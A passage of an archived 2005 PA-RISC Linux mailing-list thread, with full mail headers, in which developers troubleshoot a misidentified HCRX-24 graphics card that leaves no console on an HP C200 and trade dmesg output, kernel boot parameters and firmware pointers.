  by mx0.gmx.net (mx005) with SMTP; 07 Dec 2005 20:18:20 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 24CC47D723;
	Wed,  7 Dec 2005 12:18:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04888-02; Wed, 7 Dec 2005 12:18:15 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 71A657D71D;
	Wed,  7 Dec 2005 12:18:14 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 50B367D71B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Dec 2005 12:18:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04622-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Dec 2005 12:18:10 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id B983A7D71A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Dec 2005 12:18:10 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 80912494054; Wed,  7 Dec 2005 12:18:10 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from osl1smout1.broadpark.no (osl1smout1.broadpark.no [80.202.4.58])
	by palinux.hppa (Postfix) with ESMTP id 3986049400D
	for <parisc-linux@parisc-linux.org>;
	Wed,  7 Dec 2005 12:18:10 -0700 (MST)
Original-Received: from osl1sminn1.broadpark.no ([80.202.4.59])
	by osl1smout1.broadpark.no
	(Sun Java System Messaging Server 6.1 HotFix 0.05 (built Oct 21 2004))
	with ESMTP id <0IR500JUN75CXPA0@osl1smout1.broadpark.no> for
	parisc-linux@parisc-linux.org; Wed, 07 Dec 2005 20:22:24 +0100 (CET)
Original-Received: from tolstoy.puszczka.com ([84.48.69.228]) by osl1sminn1.broadpark.no
	(Sun Java System Messaging Server 6.1 HotFix 0.05 (built Oct 21 2004))
	with ESMTP id <0IR500LQ772STLW0@osl1sminn1.broadpark.no> for
	parisc-linux@parisc-linux.org; Wed, 07 Dec 2005 20:20:53 +0100 (CET)
Original-Received: from [192.168.1.11] (ferret.puszczka.com [192.168.1.11])
	by tolstoy.puszczka.com (Postfix) with ESMTP id 827991331A; Wed,
	07 Dec 2005 21:08:40 +0100 (CET)
In-reply-to: <43972408.1020708@gmail.com>
User-Agent: Thunderbird 1.4 (Windows/20050908)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KlDlYwNdeSEkd76WZHQhaXN1IGRvb8DX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25225

Fabio wrote (repeatedly ;-)
 > Hi Everybody!   :)
 >
 > Yesterday I've got a monitor and I've connected it to my C200.
 > At the boot I've selectet 1280x1024 at 75Hz VESA and the screen is
 > correctly displayed.
 > The Graphic adapter is an HCRX-24 (A4071B) on GSC.
 > The distribution is a Sarge with etch kernel 2.6.12-1
 > The system boots correctly, but no one consolle is displayed on the
 > monitor only a blank screen (no other problems), I've checked inittab
 > and it's ok with all the consoles started!
 > Here some DMESG output:
 >
 > Kernel command line: root=/dev/sda5 HOME=/ console=tty0 sti=8/4
 > sti_font=VGA8x16 TERM=linux palo_kernel=2/vmlinux
 >
 > 14. Coral SGC Graphics at 0xf8000000 [10/8] { 10, 0x0, 0x004, 0x00077}
 >
 > STI GSC/PCI core graphics driver Version 0.9a
 >      id 2bcb015a-9a02587, conforms to spec rev. 8.04
 > STI init_graph failed (ret -1, errno 258)
 > sti: probe of 10:8 failed with error 1
 >

First things first - this ain't really a Coral SGC at all. Its a
Hyperbowl card (HCRX-24/A4071B). The lazy ***s in the HP graphics
hardware group reused the card identifiers!

The "init_graph failed" is worrying - that same card with the same id
is successfully detected and initialized in my B132L, and I'm pretty
sure the same was true in my C180 (kernel 2.6.11-rc1-pa4).

 > I've also tried to change boot args in palo from sti=8/4 to sti=10/0
 > but it didin't worked!

That ought to be sti=10/8 according to your dmesg. But as Grant said, it
shouldn't strictly be needed as long as there's just the one card in the 
box.

 > At Parisc-Linux Hardware Database is reported that Coral SGC Graphics 
 > is supported and the version is the same "0x0,0x4,0x77"
 > (http://hwdb.parisc-linux.org/view.php?
 >       type=padevice&name=Coral%20SGC%20Graphics)

Ignore this - believe me, you don't have a Coral SGC.

 > Thanks!!!
 >
 > P.S. I've experienced some mail server problems, i'm sorry for
 > eventual duouble posts!

I sent Helge Deller an A4071B a while back so he could work on the
stifb driver when he had time. I guess he hasn't had time.

I'm gonna try a couple of tests on the B132L this evening - first
thing is to make the Hyperbowl the console and see what happens.

-Andy
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HCRX-24 and missing consoles on my C200
Date: Wed, 7 Dec 2005 14:22:53 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20051207192253.GC32168__18987.3858158991$1416624573$gmane$org@quicksilver.road.mcmartin.ca>
References: <43971676.1010009@gmail.com>
	<20051207180130.GB11417@colo.lackof.org>
	<20051207182913.GB32168@quicksilver.road.mcmartin.ca>
	<20051207185438.GD11417@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624573 27423 80.91.229.3 (22 Nov 2014 02:49:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:33 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 debian-hppa@lists.debian.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Dec 2005 19:23:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 07 Dec 2005 20:23:16 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 061FA7D723;
	Wed,  7 Dec 2005 12:23:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04880-08; Wed, 7 Dec 2005 12:23:12 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DD1B57D726;
	Wed,  7 Dec 2005 12:23:11 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0576C7D722
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Dec 2005 12:23:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04888-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Dec 2005 12:23:09 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 77F517D720
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Dec 2005 12:23:09 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 41BE94940D4; Wed,  7 Dec 2005 12:23:09 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by palinux.hppa (Postfix) with ESMTP id EE1BE49400D;
	Wed,  7 Dec 2005 12:23:08 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id C0FEF17088;
	Wed,  7 Dec 2005 14:23:03 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19232-03; Wed, 7 Dec 2005 14:23:03 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0030ab0b413b-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.28.1.105])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 80E0617083;
	Wed,  7 Dec 2005 14:23:03 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 846AF3B059; Wed,  7 Dec 2005 14:22:53 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20051207185438.GD11417@colo.lackof.org>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 81PlY0B6eSEkf76WZHQhaXN1IGRvb8Bp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25226

On Wed, Dec 07, 2005 at 11:54:38AM -0700, Grant Grundler wrote:
> HPUX *never* supported this card on C-class boxes.
> See page 157 (pdf page #) of C200 owners manual:
> NOTICE: The A4077A Color Graphics Card, A4078A Dual Color Graphics Card,
>         A4079B HCRX-8Z graphics adapter, and the A4071B HCRX-24 graphics
>         adapter with the A4072A Z Accelerator attached are not supported
>         in the Model C160/C180.
> 
> getting it working might be quite "challenging". :)

I think I've already taken the torch on enough challenging HP graphics
problems... mumble. I'll pass on this one.

:)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HCRX-24 and missing consoles on my C200
Followup-To: gmane.linux.debian.ports.hppa
Date: Wed, 7 Dec 2005 20:17:50 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <20051207201749.GA30737__28111.8279476233$1416624573$gmane$org@ntlworld.com>
References: <43971676.1010009@gmail.com>
	<20051207180130.GB11417@colo.lackof.org>
	<20051207182913.GB32168@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624573 27427 80.91.229.3 (22 Nov 2014 02:49:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:33 +0000 (UTC)
To: debian-hppa@lists.debian.org,
 parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Dec 2005 20:18:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 07 Dec 2005 21:18:10 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC6BE7D726;
	Wed,  7 Dec 2005 13:18:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05506-02; Wed, 7 Dec 2005 13:18:04 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0C4297D720;
	Wed,  7 Dec 2005 13:18:03 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9371C7D71C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Dec 2005 13:17:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05213-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Dec 2005 13:17:59 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1290F7D71B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Dec 2005 13:17:59 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id AE7A3494054; Wed,  7 Dec 2005 13:17:58 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta08-winn.ispmail.ntl.com (mta08-winn.ispmail.ntl.com
	[81.103.221.48]) by palinux.hppa (Postfix) with ESMTP id 146D649400D
	for <parisc-linux@parisc-linux.org>;
	Wed,  7 Dec 2005 13:17:57 -0700 (MST)
Original-Received: from aamta11-winn.ispmail.ntl.com ([81.103.221.35])
	by mta08-winn.ispmail.ntl.com with ESMTP id
	<20051207201754.WWKM17804.mta08-winn.ispmail.ntl.com@aamta11-winn.ispmail.ntl.com>;
	Wed, 7 Dec 2005 20:17:54 +0000
Original-Received: from janus ([82.9.44.76]) by aamta11-winn.ispmail.ntl.com with ESMTP
	id <20051207201754.DXOM16192.aamta11-winn.ispmail.ntl.com@janus>;
	Wed, 7 Dec 2005 20:17:54 +0000
Original-Received: from sdb by janus with local (Exim 3.35 #1 (Debian))
	id 1Ek5jb-00080T-00; Wed, 07 Dec 2005 20:17:51 +0000
Mail-Followup-To: debian-hppa@lists.debian.org,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20051207182913.GB32168@quicksilver.road.mcmartin.ca>
User-Agent: Mutt/1.3.28i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1CblY5p4eSEkR76WZHQhaXN1IGRvbwAy
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25227

On Wed, Dec 07, 2005 at 01:29:13PM -0500, Kyle McMartin wrote:
> I think I have a HCRX here (A4070 with A4072), I can try and fix this
> but not until at least January.

This looks like the same card that I have:

1. Coral SGC Graphics at 0xf4000000 [0] { 10, 0x0, 0x004, 0x00077 }
...
STI GSC/PCI core graphics driver Version 0.9a
id 2bcb015a-9a02587, conforms to spec rev. 8.04
graphics card name: HPA4071B_LZ

I tested this recently on my 715/100:

http://lists.parisc-linux.org/pipermail/parisc-linux/2005-November/027654.html

(Worked fine, except for a few small glitches.)
-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Walker <andy@puszczka.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HCRX-24 and missing consoles on my C200
Date: Thu, 08 Dec 2005 11:56:32 +0100 (CET)
Lines: 91
Approved: news@gmane.org
Message-ID: <1354.193.160.141.5.1134039392.squirrel__28156.4105804593$1416624574$gmane$org@www.puszczka.com>
References: <43971676.1010009@gmail.com>
 <20051207180130.GB11417@colo.lackof.org>
 <20051207182913.GB32168@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416624574 27431 80.91.229.3 (22 Nov 2014 02:49:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:34 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@parisc-linux.org
To: Fabio Bizzi <fbizzi@gmail.com>
Original-X-From: - Wed Jul 02 21:28:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Dec 2005 10:21:13 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx050) with SMTP; 08 Dec 2005 11:21:13 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 77FCE2E664; Thu,  8 Dec 2005 04:21:08 -0600 (CST)
Old-Return-Path: <andy@puszczka.com>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from osl1smout1.broadpark.no (osl1smout1.broadpark.no [80.202.4.58])
	by murphy.debian.org (Postfix) with ESMTP id 04E7D2DE67
	for <debian-hppa@lists.debian.org>; Thu,  8 Dec 2005 04:05:52 -0600 (CST)
Original-Received: from osl1sminn1.broadpark.no ([80.202.4.59])
 by osl1smout1.broadpark.no
 (Sun Java System Messaging Server 6.1 HotFix 0.05 (built Oct 21 2004))
 with ESMTP id <0IR600HZBC90W230@osl1smout1.broadpark.no> for
 debian-hppa@lists.debian.org; Thu, 08 Dec 2005 11:10:12 +0100 (CET)
Original-Received: from tolstoy.puszczka.com ([84.48.69.228]) by osl1sminn1.broadpark.no
 (Sun Java System Messaging Server 6.1 HotFix 0.05 (built Oct 21 2004))
 with ESMTP id <0IR600626C6FYRZ0@osl1sminn1.broadpark.no> for
 debian-hppa@lists.debian.org; Thu, 08 Dec 2005 11:08:40 +0100 (CET)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)	id E953D134AB; Thu,
 08 Dec 2005 11:56:32 +0100 (CET)
Original-Received: from 193.160.141.5 (SquirrelMail authenticated user andy)
 by www.puszczka.com with HTTP; Thu, 08 Dec 2005 11:56:32 +0100 (CET)
In-reply-to: <20051207182913.GB32168@quicksilver.road.mcmartin.ca>
Importance: Normal
X-Priority: 3 (Normal)
User-Agent: SquirrelMail/1.4.4
X-Rc-Spam: 2005-09-11_01
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Level: *
X-Spam-Status: No, score=1.2 required=4.0 tests=FORGED_RCVD_HELO,
	IMPRONONCABLE_2,MURPHY_DRUGS_REL8 autolearn=no version=3.0.3
Resent-Message-ID: <nl-acC.A.BxC.UkAmDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4984
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Thu,  8 Dec 2005 04:21:08 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: TWzqY4JdeSEkQL6WZHQhaXN1IGRvb4C7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25228

> On Wed, Dec 07, 2005 at 11:01:30AM -0700, Grant Grundler wrote:
>> > STI GSC/PCI core graphics driver Version 0.9a
>> >     id 2bcb015a-9a02587, conforms to spec rev. 8.04
>> > STI init_graph failed (ret -1, errno 258)
>> > sti: probe of 10:8 failed with error 1
>
> Someone should probably turn on debugging. Edit
> drivers/video/sticore.h and change the initial #if 0 to #if 1 and
rebuild and boot.
>
> As far as I know, this is failing the initial call to STI init_graph, I
suspect either it doesn't like the default init values, or something is
not quite right when setting up the glob_cfg. As I understand it, we set
up the glob_cfg structures with nothing but the region pointers, and
then call init_graph to set up the rest of the context which is
passed
> between every further called STI function.
>
> Or the STI rom is completely broken on this card and HP-UX uses software
instead of the firmware routines.
>
> I think I have a HCRX here (A4070 with A4072), I can try and fix this
but not until at least January.
>
> Cheers,
> 	Kyle
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

Hi folks,

Here's a datapoint with 2.6.15-rc5-pa1 on a B132L

Linux version 2.6.15-rc5-pa1 (root@weasel) (gcc version 3.3.5 (Gentoo Linux
3.3.5-r1, pie-8.7.7)) #1 Wed Dec 7 23:02:54 CET 2005

Kernel command line: root=/dev/sda2 sti=8/8 stifb=bpp:0 console=tty0
sti_font=VGA8x16 palo_kernel=2/boot/vmlinux

Found devices:
15. Coral SGC Graphics at 0xf4000000 [8/8] { 10, 0x0, 0x004, 0x00077 } 16.
Gecko GSC Core Graphics at 0xf8000000 [8/24] { 10, 0x0, 0x016, 0x00085 },
additional addresses: 0xf0011000

STI GSC/PCI core graphics driver Version 0.9a
    id 2bcb015a-9a02587, conforms to spec rev. 8.04
    graphics card name: HPA4071B
    id 2d08c0a7-9a02587, conforms to spec rev. 8.07
    graphics card name: INTERNAL_EG_1280
sticon: Initializing STI text console.
Console: switching to colour STI console 160x64
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-32 frame buffer device, HPA4071B, id: 2bcb015a, mmio:
0xf4100000
fb1: stifb 1280x1024-8 frame buffer device, INTERNAL_EG_1280, id:
2d08c0a7, mmio:
0xf8100000

Note that the A4071B/HCRX24 gets detected just fine. Its set in PDC as
the console path, and also via the sti=8/8 parameter.

Nothing crashes, but the console is unusable. Most of the output is
black on black, though I get bits of text in magenta, yellow and green
depending on the intended colour. Tux has a bright green background and
is otherwise pretty psychedelic. Back to Vis-EG for the time being.

As far as A4071B on C-Class goes, my company ran 50-60 C110's with that
card and never had any trouble (HP-UX 10.20). I'm pretty sure I've had
one in my C180 and it behaved exactly as it does in the B132L. If I get
time I'll check tonight. C180 and C200 are basically the same Raven
architecture, so if there's a general problem with initializing the card
on Ravens it should show up.

Fabio: have you got the latest firmware on that C200? (apologies if you've
already mentioned that before.)

ftp://ftp.itrc.hp.com/firmware_patches/hp/cpu/PF_CC2X0063.txt
ftp://ftp.itrc.hp.com/firmware_patches/hp/cpu/PF_CC2X0063

-Andy




-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HCRX-24 and missing consoles on my C200
Date: Thu, 8 Dec 2005 17:39:22 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20051208173922.GA2515__35530.4849138067$1416624574$gmane$org@ntlworld.com>
References: <43971676.1010009@gmail.com> <20051207180130.GB11417@colo.lackof.org> <20051207182913.GB32168@quicksilver.road.mcmartin.ca> <1354.193.160.141.5.1134039392.squirrel@www.puszczka.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624574 27433 80.91.229.3 (22 Nov 2014 02:49:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:34 +0000 (UTC)
To: Andy Walker <andy@puszczka.com>,
 parisc-linux@parisc-linux.org,
 debian-hppa@lists.debian.org
Original-X-From: - Wed Jul 02 21:28:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Dec 2005 17:39:36 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx011) with SMTP; 08 Dec 2005 18:39:36 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 2E35B2E3B3; Thu,  8 Dec 2005 11:39:30 -0600 (CST)
Old-Return-Path: <sdbrady@ntlworld.com>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from mta07-winn.ispmail.ntl.com (mta07-winn.ispmail.ntl.com [81.103.221.47])
	by murphy.debian.org (Postfix) with ESMTP id AE2ED2DE17
	for <debian-hppa@lists.debian.org>; Thu,  8 Dec 2005 11:39:23 -0600 (CST)
Original-Received: from aamta11-winn.ispmail.ntl.com ([81.103.221.35])
          by mta07-winn.ispmail.ntl.com with ESMTP
